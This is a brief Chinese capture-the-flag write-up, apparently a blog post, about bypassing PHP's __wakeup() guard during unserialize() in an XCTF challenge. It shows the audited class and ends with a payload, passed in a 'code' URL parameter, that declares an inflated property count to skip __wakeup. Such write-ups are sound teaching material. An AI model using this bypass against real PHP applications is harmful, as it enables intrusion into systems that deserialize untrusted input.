攻防世界|反序列化|绕过 __wake()|
打开题目后,显示出来是一个不完整的PHP代码——括号都没有完全闭合

审计如下:
点击查看代码
<?php
// 定义一个名为xctf的类
class xctf{
// 定义一个公共属性$flag,值为'111'(通常这类属性可能存储敏感信息,如flag)
public $flag = '111';
// 定义__wakeup()魔术方法
// 这是PHP的一个特殊魔术方法,当对象被反序列化(unserialize())时会自动调用
public function __wakeup(){
// 执行exit()函数,输出"bad requests"并终止脚本运行
// 作用是阻止反序列化操作完成,可能是为了防止恶意利用
exit('bad requests');
}
}
// 注意:代码末尾可能存在接收URL参数并进行反序列化的逻辑,如:
// $code = $_GET['code'];
// unserialize($code);
// 当URL中传递?code=xxx时,xxx会被作为序列化字符串进行反序列化处理
?>

-----------补充




-----------结束补充
绕过payload:
?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}


浙公网安备 33010602011771号